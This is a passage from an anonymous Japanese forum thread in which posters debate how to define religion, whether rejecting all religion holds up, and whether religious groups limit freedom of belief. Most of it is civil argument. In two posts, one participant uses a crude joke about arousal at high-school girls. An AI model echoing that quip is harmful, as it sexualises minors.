「自分のイメージだけで宗教を否定する」やつらと議論しても得るものは無かろう。
やつらにその気があれば図書館で本を読むなり、寺や教会に疑問を訪ねにいくなりとっくにしとるわ。
335 名前：192 ：2006/01/14(土) 11:39:05 ID:CKywUiuX: >>333
>>331には特に興味ない。
336 名前：( ´,_ゝ｀) ：2006/01/14(土) 11:40:43 ID:0zO/FTSX: >>332
また、そんな排除をして・・・

>>331はわかりやすい餌をぶら下げただけです。
でも、見抜かれますし、実際、ここは警戒するでしょう。
でも、否定はできませんよ。
337 名前：電球：2006/01/14(土) 11:41:48 ID:665tdu9g: みなさん
おはようございます～。少し、混ぜてもらっても、よろしいですか？
>>325 この意見、私も同意です。目に映る宗教と言うのは結局宗教団体でしかない。
338 名前：宗教オカルト全否定 ：2006/01/14(土) 11:42:59 ID:ljLaos83: >>332
宗教否定者いらっしゃーい
と書いてあったから来たのですが？

羊頭狗肉
339 名前：電球：2006/01/14(土) 11:45:07 ID:665tdu9g: >>331
この宗教の定義の話を続けていくと、それに対する返答のひとつが出てくるかもしれません。
なんとなく、当てはあります
340 名前：( ´,_ゝ｀) ：2006/01/14(土) 11:48:45 ID:0zO/FTSX: >>338
怒らないで下さいね(^^♪

>>337
1さん、電球さんおはようございます(^^♪
先般はありがとうございました。
定義について、簡単にまとめてみましたが、どうでしょうか？
当然ながら、192さんのご指摘どおり、それを目的とするものではありません。
余計な議論を防ぐためです。また、主観を客観化するものでもありません。
誤解しないで下さい。
341 名前：電球：2006/01/14(土) 11:48:51 ID:665tdu9g: ところで、肯定派でも否定派でもない、というのがわかりにくいということですが・・・私は物事を全部肯定することも、全部否定する
こともできない、と考えています。宗教にも認められる部分もあれば、批判しなければならない部分もある。そういったことを
含めて、宗教を否定しない、という意味で、私は肯定派ですね。ただし、宗教全てをすばらしい、と言っているわけではないですよ。＾＾
342 名前：1 ：2006/01/14(土) 11:50:47 ID:YWcQ7IUJ: >>338
俺が言った意味は、あんたが求めるレスは、ここでは付かないから、
あんたの反応の機会はないから、という意味だよ。
各宗派の教えを議論する処ではないの。

>したがってどれも間違い　　？？？
確かめたの？　
何、言ってんの？
これだから、他に行け、と言ってるの。
343 名前：電球：2006/01/14(土) 11:50:58 ID:665tdu9g: >>340
誤解なんてしてませんよｗ　というより、この宗教の定義は私が( ´,_ゝ｀)さんに吹っかけた話題ですし＾＾；
344 名前：192 ：2006/01/14(土) 11:54:54 ID:CKywUiuX: >>342
全否定というのはそこから動かないということ。
そして、持論と異なる他者を認めないということ。
そういうスタンスの奴にレスを返す必要性は皆無。
345 名前：電球：2006/01/14(土) 11:57:14 ID:665tdu9g: とりあえず、私は宗教の定義を>>168でベラーを引用して説明しました。
その後、私自身はどうか、と聞かれ、「宗教とは宗教っぽいもののことである」と答えました。
346 名前：( ´,_ゝ｀) ：2006/01/14(土) 11:57:23 ID:0zO/FTSX: 誤解は、192さんや同じ考えの方に言ったつもりです(^^♪
誤解されやすい言い方でしたね(^^ゞ

ところで、電球さん>>298はどうでしょう。
修正点ありませんか？

１さんは、あまり煽らないで下さい。
それよりも、
>>328
>彼はイメージを外側から見てるんだよ。
を見ているのは、誰になるのですか？
教えてください。
347 名前：1 ：2006/01/14(土) 12:02:38 ID:YWcQ7IUJ: >>344 >>346
ごめんなさい。気をつけます。

>を見ているのは、誰になるのですか？
俺には、そう見えただけです。
192さんは、宗教を肯定する立場だと思います。
もちろん、全面的にとか、盲信的にという意味じゃなくてね。

お互いの視点がより、大きくなっていると感じました。
348 名前：192 ：2006/01/14(土) 12:04:13 ID:CKywUiuX: >>345
ん？
そうだ。定義すれば宗教とは宗教っぽいものだ。になる。そのとうり。
つまり、各人の宗教体系等に対する知識・認識の程度に応じて宗教に対する定義が変わってくる。
前に器に応じてといったのはそゆこと。
つまり、一番低レベルのテレビマンガの宗教組織を宗教だと思っている奴もいれば、悟っている奴もいてそれぞれに宗教とはの答えは違う。
宗教とは、という問いは、つまり宗教的なものに対する自分の境地の表明に他ならない。
349 名前：電球：2006/01/14(土) 12:04:47 ID:665tdu9g: >>346
はい、非常にすっきり、かつ分かりやすく説明してくださった、と感心しました。
もう少し、修正するなら、私は宗教を提灯か懐中電灯のようなものだ、と考えております。
昔は必須でしたが、今は街灯があるので必要ない、と言う人も多いです。

つまり、宗教が減ってきた、というよりも、宗教性（明かり）が様々なものに浸透した結果、
あまり必要なくなってきた、と思っています。それを「拡散した宗教性」と表現した研究者
もいますが・・・それは今のテーマとは離れますね＾＾；
350 名前：192 ：2006/01/14(土) 12:08:02 ID:CKywUiuX: あ、あと、辞書的な定義ね。
351 名前：( ´,_ゝ｀) ：2006/01/14(土) 12:13:46 ID:0zO/FTSX: 192さんは我々のやりとりに興味ないと思いますので、1さんとやり取りします。
ほかの方は違う流れで、続けてください。
>>347
イメージを抱いているのは、誰かという問題です。
つまり、
主観から始まって、主観で終わるって、１さんは指摘しましたね。
では、客観ってどうなるのでしょう。
整理してみたいのですが？
352 名前：電球：2006/01/14(土) 12:14:03 ID:665tdu9g: >>348
まあ、説明放棄です、言ってみれば。
宗教とは考え方の体系である、ともいえるかもしれません。
353 名前：電球：2006/01/14(土) 12:17:27 ID:665tdu9g: >>352
いや、「体系」は余分だな。考え方、くらいですね。
354 名前：( ´,_ゝ｀) ：2006/01/14(土) 12:18:46 ID:0zO/FTSX: 電球さん、192さん、その他の方々すいません。
おろそかにしたくないのですが・・・
>>351は、そういう意味です。
355 名前：電球：2006/01/14(土) 12:21:03 ID:665tdu9g: >>354
すみません、どういう意味でしょう…
流れを停滞させて申し訳ないのですが…
356 名前：1 ：2006/01/14(土) 12:21:05 ID:YWcQ7IUJ: >>351
主観から始まって～のくだりは、俺じゃないですね。

もちろん、イメージを抱いてるのは自分（主観）になるでしょうね。
それを客観的に見て、>>328のような事を書きました。

あなたが言いたいのは、
「主観の共有が、客観になる」とでも言いたげですが？
357 名前：192 ：2006/01/14(土) 12:21:54 ID:CKywUiuX: >>352
厳密には説明放棄というか
万人に理解できる説明の不可能性ということかな。上位互換性的な感じだとおもうが。
358 名前：192 ：2006/01/14(土) 12:24:50 ID:CKywUiuX: >>354
気にするな。
要は、他者を相対化している自分を絶対化するな、という当たり前のことをおれも言っているに過ぎない。
359 名前：( ´,_ゝ｀) ：2006/01/14(土) 12:26:58 ID:0zO/FTSX: いえ、
あなたが、192さんにつけたスレ
>192さんの言ってる事が理解できるにつれ、
>そこに焦点を合わせても、答えは人の数だけ存在するのでは？っつー疑問が。。

という部分です。
また、当然ながら、主観をあわせれば客観になるなんて考えてませんよ(^^♪
360 名前：192 ：2006/01/14(土) 12:30:36 ID:CKywUiuX: 電球のを少し読み返してみたが、
トランスパーソナルまで行っちゃってるんならあとはどっかに腰すえるだけじゃないのか。
ここでなにしたいんだ。
361 名前：1 ：2006/01/14(土) 12:30:53 ID:YWcQ7IUJ: >>358
答えがでましたね。
そういうことですね。
自分の考え（主観）は、他者（客観）がいて始めて認識できます。
他者を排除していまえば、自分も存在しなくなります。

ここの板で肯定者が否定者を、否定者が肯定者を、排除しようとしても意味がないんです。
お互いを知り、それを知れる自分を知る。
それも出来ない人達が、他人を否定するって、違うと感じました。
362 名前：( ´,_ゝ｀) ：2006/01/14(土) 12:33:23 ID:0zO/FTSX: >>361
いいえ、逆ですよ(^^♪
振り出しに戻ったのです。
もう一度読み返してみれば、わかるでしょう。
363 名前：電球：2006/01/14(土) 12:34:08 ID:665tdu9g: >>360
ああ、トラ・パーは考え方として興味あるだけですよ。大体、思想がやたら複雑で理解できない…。
ここでは・・・まあ、何と言うのだろう。宗教とは何か？を考えたい、というとこでしょうか。
364 名前：192 ：2006/01/14(土) 12:34:49 ID:CKywUiuX: 顔がなんかすねてると思ったら
>>335で

>>333
>>331には特に興味ない。
のことだな。これは、お前が331どう思うか聞いてきたことに対し、俺は>>331のレスには興味ないといったまで。
顔のレスに興味ないと言っているわけではない。
365 名前：( ´,_ゝ｀) ：2006/01/14(土) 12:36:27 ID:0zO/FTSX: >>360
電球さんのしたいことは、電球さんしかわかりませんよね。
それより、
192さんのしたいことのほうが、私にはわかりませんけど(^^♪
366 名前：1 ：2006/01/14(土) 12:36:43 ID:YWcQ7IUJ: >>359
俺達が出そうとしている答えは、ひとつではないんじゃないか？って意味です。
「宗教」という枠も、個人が持ってるイメージで形は様々です。
ここでの価値観（理解）の統一を試みても、それは結局、
思想の押し付け合いになるんじゃないのかな？と思ったんですよ。
367 名前：192 ：2006/01/14(土) 12:38:21 ID:CKywUiuX: >>363
まあ、俺も難しいことはよくわからんよ。
だが、全体について何か知りたければ、まず部分を知れ。部分は全体を含むというのはなんだっけな。
368 名前：192 ：2006/01/14(土) 12:39:33 ID:CKywUiuX: >>365
目的なんて無いよ。
では、去る。
369 名前：( ´,_ゝ｀) ：2006/01/14(土) 12:40:03 ID:0zO/FTSX: >>364
全然、すねてませんよ(^^♪
私は、1さんと始まったスレなんで、1さんにこだわったんですよ。
192さんとのやり取りもしたいんですよ(^^ゞ
電球さんともしたいですし(^^ゞ
370 名前：電球：2006/01/14(土) 12:43:09 ID:665tdu9g: >>367
おっしゃるとおりです。私も以前全体を知ろうとばかりしておりました。しかし最近部分についての
知識が不足していることを痛感しておりまして・・・。全然勉強が足りません。
371 名前：( ´,_ゝ｀) ：2006/01/14(土) 12:44:54 ID:0zO/FTSX: >>366
>ここでの価値観（理解）の統一を試みても、それは結局、
>思想の押し付け合いになるんじゃないのかな？と思ったんですよ。

では、宗教というのは違うのですか？
わたしが最初に戻りますよね、というのは、そういうことです。
私が信ずることを、他人に押し付けることじゃないのかと。
372 名前：電球：2006/01/14(土) 12:45:29 ID:665tdu9g: >>368
またやり取りしましょうｗ
373 名前：電球：2006/01/14(土) 12:47:39 ID:665tdu9g: >>371
うん、最初に戻りますよね。1さんは、その最初を結論だとおっしゃった、ということでしょうか。
374 名前：1 ：2006/01/14(土) 12:49:29 ID:YWcQ7IUJ: >>371
俺の答えは、
システム上、そういう要素もある。しかし、それがすべてではない。と思う。
です。

その要素を取り除いても、宗教は存続できると思いますよ。
それが「核」では、ありませんから。
375 名前：( ´,_ゝ｀) ：2006/01/14(土) 12:50:58 ID:0zO/FTSX: >>373
その通りです。

>>368
192さんは、理性的な人なので、とても安心してやりとりできました。
結論は見えてるのにお付き合いしてくれて感謝してます。
多分、すぐ機会が生まれると思いますので、よろしく(^^♪
376 名前：電球：2006/01/14(土) 12:50:59 ID:665tdu9g: 少し、私の考えを言ってみてもいいでしょうか？
宗教の定義は>>168だと思います。ただ、宗教のイメージは人それぞれ、になる。
そしてそのイメージを元に否定論は成り立ち、反・否定論がそれは定義でない、と言った。
377 名前：( ´,_ゝ｀) ：2006/01/14(土) 12:52:35 ID:0zO/FTSX: >>376
続けてください。
378 名前：電球：2006/01/14(土) 12:55:34 ID:665tdu9g: >>376
より正確に言うと、否定論は知らず知らずのうちにイメージを定義に変えていった。
ちょっときつい言い方をすれば、知らず知らずのうちに自分の理論に合うものだけを「宗教」と認定してしまった。
でもそれは定義でない、反・否定論者、つまり私が言った。ここから否定論に対する結論が導けるように思うんです。
379 名前：( ´,_ゝ｀) ：2006/01/14(土) 12:58:48 ID:0zO/FTSX: >>378
その通りだと思いますよ。
でも、それは、観念ではないでしょうか？
つまり、現実の宗教のことではないでしょう。
私はコップの水をほしいと思い、それを呑みたいとしても、
呑むことは出来ませんよ。
それを掴んで、のどに流し込まないといけません。
現実の宗教はイメージではなく、存在しています。
380 名前：電球：2006/01/14(土) 13:00:47 ID:665tdu9g: >>378
つまり宗教とは教団宗教ではない。神を信じるとも限らない。結局考え方、程度にしか定義できない。
そうなると、否定論は以下のことを証明せねばならなくなります。
宗教が人を洗脳させる・狂わせる・矯正させるのに、個人の考えがそうでないとするのは何故なのか。
どこにその境界があるのか。
また、洗脳された・狂わせた・矯正させた結果が、害悪にしかならないと考えるのは何故なのか。
381 名前：( ´,_ゝ｀) ：2006/01/14(土) 13:04:44 ID:0zO/FTSX: >>380
いえ、観念にこだわっているだけだと思いますよ。
宗教という観念に。

いっそのこと、離れましょうよ。
私達は、どんなに否定しても、肉体は否定できない。
どんなに女子高生を否定しても、勃起している事実は現実であると(^^♪
382 名前：電球：2006/01/14(土) 13:04:58 ID:665tdu9g: >>379
現実の宗教とは目に見える教団宗教ですね。それだけが宗教ではない、わけですから、
ともかく“宗教”否定論は成り立たなくなる。
そして、教団宗教を否定するにも、>>380の問いに答えられなければならない、と思うんです。
383 名前：( ´,_ゝ｀) ：2006/01/14(土) 13:10:18 ID:0zO/FTSX: >>382
たぶん、自己矛盾を指摘していると思うのですよ。
でも、その矛盾は、どちらからもいえるのです。
なぜなら、相手を認めることは、相手と同化することです。
私はいなくなるのです。
ということは、相手もいなくなりますよ。
384 名前：電球：2006/01/14(土) 13:10:35 ID:665tdu9g: >>381
( ´,_ゝ｀)さん、私は宗教に否定しなければならない側面があることは認めています。
しかし、私はそれは構成するのが、人であるから、と言っているんです。宗教に問題があるのは認めますが、
宗教が人を洗脳するのなら、個人の考えがそうしない理由が知りたいんです。
あなたはまだ>>150の私の質問に答えてくれていない…。あなたを非難しているわけではないのですが・・・。
385 名前：( ´,_ゝ｀) ：2006/01/14(土) 13:16:07 ID:0zO/FTSX: >>384
もちろん、非難していると思ってませんよ(^^♪
そして、あなたが、宗教に限らず、個人の考えも同じであるといわれるのもわかります。
それは、192さんが指摘している通りです(^^♪

最初に戻ってると思いますよ。
たぶん、宗教とはなにかを定義しているわけではないのですよ。
私も、電球さんもほかの方々も。
でも、あることを認めなければならないし、受け入れるということはどういうことか？
ということだと思うのです。
386 名前：名無しさん＠３周年 ：2006/01/14(土) 13:19:19 ID:3qi/cJHb: 宗教否定者は部分否定という言葉を知らないんだろう。
387 名前：電球：2006/01/14(土) 13:22:03 ID:665tdu9g: >>385
はい、そうですね＾＾。あることは認めねばならないわけです。だから宗教は争いを起こし、人を救った
ことを認めねばならないわけです。だから私は宗教“全”否定論に反対しているわけです。
私は過去何人も否定論者と論争してきましたが、>>380の問いに答えてくれた人なかった。
あなたなら、あるいは答えられるか、と思ったんです。あなたは私が論争した中で一番手ごわい相手だったのでｗ
受け入れる、とは確かにどういうことなんでしょうね？私は必要なだけ受け入れればいいと思っているのですが。
388 名前：( ´,_ゝ｀) ：2006/01/14(土) 13:36:12 ID:0zO/FTSX: >>387
当然ながら、答えることは出来ませんよ(^^♪
でも、>>380は単純な問いですよ。
先ほども答えましたが、
私達は、否定する自分を否定することはできないのです。
勃起する女子高生は、否定できないのですよ(^^♪
まず、そこから始めないと、これは終わりがないのです。
389 名前：1 ：2006/01/14(土) 13:38:51 ID:YWcQ7IUJ: >>388
そうですね。
お互いを理解する寛大な心が必要になるんですね。
両者とも。
390 名前：電球：2006/01/14(土) 13:43:52 ID:665tdu9g: >>388
( ´,_ゝ｀)さん、私が言っているのはそういうことではありません。>>380や>>150は私が言い出したことではないんです。
>>108や>>113であなたが言ったことの根拠は何なのか、と聞いているのが、>>380や>>150なんです。
お聞きします。あなたは宗教を否定しているのですか？それは何故ですか？
私はあなたが宗教を否定して、その理由を>>108や>>113でおっしゃったんだ、と考えていました。
だから、その理由を尋ねたわけです。なぜそう考えたのか、と。
私の認識が間違っていたんでしょうか。それとも途中で考えが変わったのでしょうか。
391 名前：( ´,_ゝ｀) ：2006/01/14(土) 13:50:12 ID:0zO/FTSX: >>390
そこに戻してくれて、ありがとうございます。
私の方から、お礼をいいます。
正直なところ、そこにこだわる意図がなくなってたんです。
私から、持って行くと、誤解されると思ったものですから。

でも、また、信仰という言葉を使うと、部分否定という話になりそうですよね。
当然、考えはまったく変わっておりませんけどね(^^♪
どのように、説明しましょうかね・・切り口なんですけどね・・・・
392 名前：電球：2006/01/14(土) 13:51:19 ID:665tdu9g: >>389
そうですね＾＿＾。だからこそ、私はお互いの思想、つまり宗教も尊重すべきだ、と思うんです。
393 名前：電球：2006/01/14(土) 13:55:00 ID:665tdu9g: >>391
あなたは最初、組織の問題からこの話に入りましたね。あなたと初めて会ったスレでもその問題に言及していた。
だけどいつの間にか貴方はその問題から離れて、>>108や>>113のような理論を唱え始めた。
その根拠を聞いているんですが・・・。それには答えられませんか？
394 名前：( ´,_ゝ｀) ：2006/01/14(土) 13:58:48 ID:0zO/FTSX: たとえば、目の前に犬がいるとします。
でも、その犬の存在を説明するためには、犬の概念を共有しなければなりません。
ちょっと、飛躍しておりますが、どうでしょうか？
395 名前：電球：2006/01/14(土) 14:00:53 ID:665tdu9g: >>394
それは>>108や>>113の考えの根拠を説明してくれているんですよね？それなら続けて下さい。
396 名前：( ´,_ゝ｀) ：2006/01/14(土) 14:04:46 ID:0zO/FTSX: >>393
あっ、それは簡単です。
と、思いましたけど、やっぱり難しいですね。
ほんとは、同じことなんですけどね(^^♪
397 名前：( ´,_ゝ｀) ：2006/01/14(土) 14:08:46 ID:0zO/FTSX: >>395
どうでしょうか？
まあ、とりあえず、続けますね(^^♪

犬の概念を共有することは、犬以外の概念も共有しなければならないので、
我々は、目の前にある犬すら、我々は、共有することは出来ない。
どうでしょう？
わかりづらいでしょうか？
398 名前：電球：2006/01/14(土) 14:12:46 ID:665tdu9g: >>397
いえ、わかりますよ。以前にも聞いていますし。どうぞ続けて下さい。
399 名前：( ´,_ゝ｀) ：2006/01/14(土) 14:17:00 ID:0zO/FTSX: けれども、その関係を考えれば、別に犬に限る話でもない。
猫もそうであるし、もちろん、他人もそうです。
そして、結局、説明しなければならない自分ももちろん説明できない。

しかし、その自分はここに実在している。コギトエルゴスムです。
私は、これを肉体という言葉で仮に置き換えるとします。
つまり、自明ではないが、否定することは出来ないということです。

さて、その視点に立ったときに、宗教というのは、どういう位置にあるのでしょう？
電球さんはどう思いますか？
400 名前：電球：2006/01/14(土) 14:20:46 ID:665tdu9g: >>399
自分の考え方ですね。そういう位置に宗教はあります。つまりあなたは宗教は自分を
証明するもの、とおっしゃっているんですか？
401 名前：( ´,_ゝ｀) ：2006/01/14(土) 14:23:42 ID:0zO/FTSX: ちょっと、唐突でしたね。
つまり、わたしは無条件で肯定しなければならない自明のものを、
自分の身体性に置き換えたかっのです。
そして、その対称にある無条件の他者を宗教という言葉に置き換えたかったのです。
つまり、デカルトとがした意味での「神」なのですが。
402 名前：電球：2006/01/14(土) 14:25:26 ID:665tdu9g: >>401
つまり、( ´,_ゝ｀)さんは宗教はどういう位置にあるとお考えなんですか？
403 名前：( ´,_ゝ｀) ：2006/01/14(土) 14:25:36 ID:0zO/FTSX: >>400
その通りです。
そして、私は、その絶対的な他者を無条件に受け入れる行為を宗教あるいは信仰と呼んだのです。
強引なのですが、そう思ってます。
404 名前：電球：2006/01/14(土) 14:27:35 ID:665tdu9g: >>403
はい、ようやく話がそこに戻ってきました。その絶対的他者とはなんなのですか？
神を信じない宗教があることは以前に指摘したとおりです。
405 名前：( ´,_ゝ｀) ：2006/01/14(土) 14:32:23 ID:0zO/FTSX: >>404
>神を信じない宗教
それは具体的ではないという意味ではないですか？
逆説的な言い方ですが、目の前に犬すら共有できなくても、
目の前にいない犬も共有できるのです。それも存在しているのと同じように。
つまり、神を信じないというのは、別に神を信じないわけではないのです。
406 名前：無所属な旅人 ：2006/01/14(土) 14:33:44 ID:oLm3QQKC: ずいぶん先に進んでますね。
また割り込んでもいいでしょうか。

神の定義もしなければいけないと思うのですよ・・其れを持ち出すならば。

ややこしくなる前に一言だけですが。
407 名前：電球：2006/01/14(土) 14:34:24 ID:665tdu9g: >>405
つまり、神を信じない場合、何か代わりになるものがあって、それが宗教が自分を証明するもの、
だとする理由、というわけですか？…うーん。
408 名前：電球：2006/01/14(土) 14:35:47 ID:665tdu9g: >>406
こんにちは＾＾
今その神というものについて( ´,_ゝ｀)さんが説明してくれる所なんです。
409 名前：( ´,_ゝ｀) ：2006/01/14(土) 14:38:15 ID:0zO/FTSX: >>406
ありがとうございます。
以前にも、そう仰ってましたね(^^♪
私は、見出しうるものだと思ってまして、いわば絶対になるのでしょうか？
ただし、状態としては、老子がいうところの、
道の道うべきは、常の道にあらずだと思っております。
410 名前：( ´,_ゝ｀) ：2006/01/14(土) 14:45:57 ID:0zO/FTSX: >>407
そういうことではないですね。
デカルトもそうなのですが、デカルトのいう神とは、
自分を証明するために存在しているわけではないのですよ。
いわば、相対があるから絶対があるという概念に近いと思うのです。
つまり、私は神というのは、信じるという行為の中にしかないというものだと。
411 名前：無所属な旅人 ：2006/01/14(土) 14:46:38 ID:oLm3QQKC: 共有できるところは、
「私達の存在が在るという点」「存在理由となる属性がある点」
そして共有できないところは
「其れを創造したものが居るか否か」

それぞれ観念、実在等段階がばらばらかもしれませんが大まかに分類です。

かなり抽象的になりますけれど、この中に多神・一神・神を定義しない
の分かれ目があると仮においています。

参考になれば…。
412 名前：( ´,_ゝ｀) ：2006/01/14(土) 14:52:32 ID:0zO/FTSX: >>411
すいません。
共有と使われているのは、賛同という意味ですね。
そして、存在は自明であり、そこから派生する事実があることには賛同する。
しかし、超越した創造主みたいな考えには賛同しない。
こういうことですか？
413 名前：電球：2006/01/14(土) 14:56:25 ID:665tdu9g: >>410
( ´,_ゝ｀)さん、その議論は消化済みのはずです。私が再三言っているのはそうではありません。
例えば原始仏教がリアリズムそのものだという事は以前言いましたね。それとも原始仏教は宗教ではないということですか？

あなたの言う「神」と個人の考えとは何が違うのか。神が見えるか見えないかは関係ないんです。
信仰と個人の考えと何が違うのか。私は>>150や>>380の回答をお願いしているんです。
414 名前：( ´,_ゝ｀) ：2006/01/14(土) 15:00:29 ID:0zO/FTSX: >>413
私は、信仰は個人の考えだと思っておりますよ。
そして、それを共有しているのです。
それが宗教です。
そう、定義しておりませんでしたっけ(^^ゞ
あれ、私は、えらい勘違いしてた・・・
415 名前：電球：2006/01/14(土) 15:02:01 ID:665tdu9g: それからもうひとつ。貴方は理論を組み立てる上で、宗教が実際に人を救っている事例を追いやっています。
事実として宗教は人を救っているんですよ？なぜそれを無視するのかわかりません。
宗教の危険性は私にもわかっていますよ。それは何度も言ってきたとおりです。
それに、宗教がその人を作るなら、世界平和を訴える宗教(例えば創価学会や白光真宏会)に入ったのなら、
戦争に反対するようになりますよね？万教一致を唱える大本やバハイは？
416 名前：無所属な旅人 ：2006/01/14(土) 15:03:04 ID:oLm3QQKC: >>412
分類を分けたのはですね…

唯物論でも哲学でも教団宗教でも肯定否定できる領域が在るかなという点から意識しただけです。
３条件ではないのですが個人的にはその条件に落としてしまってます。

また、そこの領分や見方においてそれぞれの神の定義自体も流動的に変わると見ているのです。

私がここで「属性」と置いたもの自身を神としているところもありますし、
人格をもって今も居るとする場合霊界を意識しなくてはならず、
最初の創造だけであれば其処にあった因を神とする場合もありますし。

最初の創造に関わった因に関する意志の存在については、
はっきりと保留してますので、（証明が不可能です＾－＾；）
分けたような形になってます。
417 名前：電球：2006/01/14(土) 15:04:42 ID:665tdu9g: >>414
集団の危険性を指摘しているのなら、全く同意見です。( ´,_ゝ｀)さんも以前利益追求の企業でも同じ
危険があるとおっしゃっていました。しかし、話を宗教団体に限る理由とは？
418 名前：電球：2006/01/14(土) 15:06:06 ID:665tdu9g: >>417
そして宗教は全て複数の人で成り立っている、という根拠は？
419 名前：( ´,_ゝ｀) ：2006/01/14(土) 15:11:33 ID:0zO/FTSX: すいません、再度確認させてください。
私は、以下のように考えていることは、確認済みですよね。

1.宗教には信仰があること。
2.信仰とは神を見出す行為であること。
3.神を見出すとは、神を体験した(あるいはしたい)という感覚であること。
4.神は信仰でしか共有できないこと。
5.信仰を共有する組織が、すなわち宗教団体であること。

そして、電球さんは他に、宗教は「明かり」のようなものだと。
懐中電灯のように、必要なときに灯すのであればいいと言うのですよね。
また、別に誰にでも必要であるとは限らないと。

確認です。
420 名前：( ´,_ゝ｀) ：2006/01/14(土) 15:30:44 ID:0zO/FTSX: >>416
すいません。
なにについて述べられているのか、よくわかりません。

ところで、
私はなぜ宗教を全否定しているのか、再度、確認しますね。

信仰が神を見出すことであり、
教団が同じ信仰を共有する人間の集まりであるなら、
その人間に、他に信じてもいいという自由はありません。
その宗教の人間は、同じものを信じなくてはなりませんから。

私は、これに反対しているのだとばかり思ってましたが。
421 名前：電球：2006/01/14(土) 15:32:38 ID:665tdu9g: >>419
それは宗教ではなく、あなたのイメージにおける宗教だという指摘をしました。
その定義では様々な宗教が宗教でなくなる、ということも指摘しました。つまりその定義を通すと、
あなたの選んだものだけにあなたの理論を適用することになるんですよ…。
それで“宗教”を否定したことになるとは私には思えません。
私が宗教は必要な人だけ使えばいいという意見なのはその通りです＾＾。実際、私だって使っていませんし。

それと私が指摘したいのはもう一点。自分が信じたことを必ず他者にも強要するという根拠は？
現実問題でお話しましょう。日本のキリスト教徒は仏教徒を排除しますか？仏教徒はキリスト教徒を排除しますか？
しないんですよ。
( ´,_ゝ｀)さんがおっしゃっているのは確かに事実なんです。私はだからあなたとこうして議論している。
あなたが前のスレが停止する直前、宗教は何か重要なものを失くさせる、と指摘していました。覚えていますか？
あれが私にはとても重要なことだと思えた。だからあなたが参加しているこのスレに参加したんです。
私が言いたいのは( ´,_ゝ｀)さんがおっしゃっているのは事実だが、宗教信じる人がみなそうでない、ということ
なんですよ。あなたは宗教の危険性を的確に指摘しているが、それを全てに適用できると思っている。
実際は宗教は常に現代風にアレンジされます。そして、ここが一番重要なんですが、宗教を受け取る側はそのまま
受け取るわけではないんです。実際にはできることだけやってるんですよ。
だから創価の信者でイラク戦争を肯定する人もいれば、坊さんで結婚して、肉を食べる人もいるんですよ。
そもそも、宗教を伝わったとおりに受け取る人ばかりなら、キリスト教徒は戦争しないでしょう。
福音書に「武器をもって立ち向かうな」と書いてあるんですよ？でも異教徒にはしてもいい、という発想がでてきて、
戦争を行うわけです。
あなたは具体的な事例を全然出せていない。全てそうだということを証明してください。
少なくとも、私はそうでない事例を示しました。
422 名前：( ´,_ゝ｀) ：2006/01/14(土) 15:36:23 ID:0zO/FTSX: そして、基本的に人はなにを信じてもいいという自由を侵害しているので、
私は、宗教は否定したのです。

ただし、わたしは192さんのご指摘どおり、
他人の信じることは、否定はしません。
でも、他人の信じることを妨げる、宗教を私は否定します。
当然ながら、だから、消滅しなければならないとは思っておりませんよ。

ここまでは、どうでしょう。確認できますよね。
423 名前：無所属な旅人 ：2006/01/14(土) 15:38:38 ID:oLm3QQKC: >>420
>>416で述べたのは神の分類の煩雑さについてですよ。
それ故、>>419の分類を見たときにすでに例外がでてますよね。

>信仰が神を見出すことであり、
>教団が同じ信仰を共有する人間の集まりであるなら、
>その人間に、他に信じてもいいという自由はありません。
>その宗教の人間は、同じものを信じなくてはなりませんから。

これは教団が拘束力をそれぞれに与えているとお思いでしょうが、
複数の教団に訪れ対話をしてみると、言われるほど拘束力を持って
居ないことが判るはずです。（一部の破壊的なものを除く）
424 名前：無所属な旅人 ：2006/01/14(土) 15:42:54 ID:oLm3QQKC: >>422
何を信じてもいいという自由を侵害とありますが…

もうひとつ、自由が何から発生するか、
これも考えてもらえますかね。

重要なポイントです。
425 名前：電球：2006/01/14(土) 15:43:07 ID:665tdu9g: >>421
最後の“全てそうだということを証明”というのは無理っぽいので、やっぱりいいです＾＾；
でも具体的な事例は挙げていただけるとありがたいです。
426 名前：( ´,_ゝ｀) ：2006/01/14(土) 15:47:36 ID:0zO/FTSX: >>421
私は、具体的な例を挙げる必要を感じておりませんでした。
というのも、宗教は、無条件に他者を受け入れることであり、
自分の思考は受け入れるための思考であり、
否定するための思考ではないからです。
究極の選択は、常に他者にあるのです。自分にはないのです。
つまり、ありえないのです。
だから、具体例は必要ないし、宗教を否定したのです。
427 名前：電球：2006/01/14(土) 15:49:27 ID:665tdu9g: >>426
具体例は必要ないですか？では私が挙げた例はどう説明できるのかをお願いします。
428 名前：電球：2006/01/14(土) 15:57:25 ID:665tdu9g: すみません、バタバタとレスしてしまって・・・ちょっと時間が少なくなってきたものですから…。
ちょっとごちゃごちゃしてきたので　＾＾；　一度私の主張点を整理しますね。
１．あなたの理論に従うなら世界平和を唱える宗教（創価や白光など）に入信すれば、戦争に反対するようになる。
　　そういった事例まで害悪とする根拠は。
２．実際には受け取る側は完全に受け取るわけでなく、自分にできることだけ受け取る。理論と現実に差が出ている
　　のはなぜか。
429 名前：蓮華 ◆l5AfpJx3FY ：2006/01/14(土) 15:58:17 ID:N7l79f/h: 宗教を信じる、信じないは本人の勝手であり、
また神を信じる、信じないは本人の勝手であると思います。

しかし、これらにおいて互いに「暗黙のルール」と言いますか、
「信仰者・不信仰者マナー」が大事です。

信仰者は、信仰してなき者・信仰を否定するものに対し、
勧誘といったこと、また勧誘と思われる疑いがあることをしてはいけない。

そして不信仰者は、信仰者に対する侮辱、また侮辱と思われることの、
発言・行為をしてはいけない。

互いにルールを守れば互いに言い合う、言い争う必要はないと思うんですけどね…。
430 名前：( ´,_ゝ｀) ：2006/01/14(土) 15:58:20 ID:0zO/FTSX: >>427
考え方を共有することはできます。
宗教を知識として体験することは出来ます。
けれども、それは知識でしかないのです。
犬を説明することはできますし、その説明を共有することはできます。
でも、それは知識です。
私には、電球さんの宗教は、そのように思えるのですが。
つまり、このやり取りは宗教に限りなく近いのかもしれませんね。
それは、認めます。
でも、電球さんに私と同じ宗教の概念を無条件に強制すれば、
それは宗教になるでしょうね。
431 名前：電球：2006/01/14(土) 15:59:20 ID:665tdu9g: >>423
そう、私が言っているのはそういうことです。実際にそんなにがちがちに洗脳されるわけで
ないのは、現実の事例を見ればわかるはずです。
432 名前：電球：2006/01/14(土) 16:02:33 ID:665tdu9g: >>430
そういったことでは無くて…私のお聞きしているのは>>428や>>421に示したとおり、現実にあなたの危惧する
事態は一部なのに、それが全体に適用できると考える理由です。
433 名前：( ´,_ゝ｀) ：2006/01/14(土) 16:03:21 ID:0zO/FTSX: >>429
